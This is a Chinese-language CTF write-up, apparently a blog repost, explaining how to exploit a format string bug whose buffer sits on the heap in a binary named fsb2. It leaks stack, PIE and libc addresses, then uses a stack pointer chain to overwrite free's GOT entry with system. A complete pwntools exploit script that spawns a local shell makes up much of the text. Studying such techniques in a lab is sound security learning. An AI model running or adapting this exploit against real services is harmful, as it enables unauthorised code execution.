非堆疊上的格式化字串漏洞 + 劫持GOT表
瞅瞅檢查

開了NX、canary跟PIE,
RELRO沒有開,可以考慮劫持GOT表,

進去是個回圈

里面是個格式化字串漏洞,
因為它開的空間是堆上的,所以常規堆疊上的格式化字串漏洞不能用,

非堆疊上的格式化字串漏洞
非堆疊上的格式化字串漏洞的話,先在printf處下斷點,

總體思路
滿足利用要求的三個指標分別在printf第10、16、20個引數的位置,該程式在回圈執行20次輸入、輸出前申請了一個記憶體塊,用于存放輸入的字串,回圈結束后會釋放掉這個記憶體然后退出程式,我們將0x7ffffffee080處的值修改為GOT表中free函式的地址,再將其中的函式指標改為system函式的地址,這樣在執行free函式時,實際執行的就是system,只要輸入‘/bin/sh’就可以拿到shell,
具體實作
先泄露堆疊地址,ELF程式地址,libc地址,分別在堆疊上找到偏移,然后泄露出來,
因為我們輸入的東西在堆上,所以不能通過常規的寫入GOT表地址然后劫持,只能先把地址寫在堆疊上,然后劫持,
在堆疊上寫地址的時候又要注意,不能直接寫,因為要寫的地址是一個大數字,不能一下寫進去,printf的緩沖區開不了那么大,所以只能一個位元組一個位元組寫,
假設我們現在能控制堆疊里面的三個地方,分別是p1,p2,p3,p1里面放著p2,p2里面放著p3,p3里面放著一個我們要替換的地址,我們需要講p3中的地址覆寫成free_got,那么我們需要通過p2寫,但是需要一個位元組一個位元組寫,所以需要修改p2,那么就需要p1來修改p2,從而達到一個鏈,
往free_got中寫system一個道理,鏈q1是p2,q2對應p3,free_got對應p3,
from pwn import *
p=process('./fsb2')
libc = ELF('./libc-2.27.so')
elf = ELF('./fsb2')
p.recvuntil('name:')
p.sendline('%10$p%11$p%21$p')
p.recvuntil('0x')
stack_addr = int(p.recvuntil('0x')[:-2],16)
addr1 = int(p.recvuntil('0x')[:-2],16)
base = addr1 - elf.symbols['vuln']-0x3f
addr2 = int(p.recvuntil('\n')[:-1],16)
libc_base = addr2 - libc.symbols['__libc_start_main']-0xe7
p1 = stack_addr-48
p2 = stack_addr
p3 = stack_addr+32
free_got = base + elf.got['free']
system = libc_base + libc.symbols['system']
#overwrite p3 to free_got
for i in range(0,6):
x = 5-i
off = (p3+x)&0xff
p.recvuntil('name')
p.sendline("%"+str(off)+"c%10$hhn"+'\x00'*50)
ch = (free_got>>(x*8))&0xff
p.recvuntil('name')
p.sendline("%"+str(ch)+"c%16$hhn"+'\x00'*50)
#overwrite free_got to system
for i in range(0,6):
off = (free_got+i)&0xff
p.recvuntil('name')
p.sendline("%"+str(off)+"c%16$hhn"+'\x00'*50)
ch = (system>>(i*8))&0xff
p.recvuntil('name')
p.sendline("%"+str(ch)+"c%20$hhn"+'\x00'*50)
for i in range(30-25):
p.recvuntil('name')
p.sendline('/bin/sh'+'\x00'*100)
p.interactive()
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/255152.html
標籤:其他
上一篇:Java單例模式8種方式 詳解
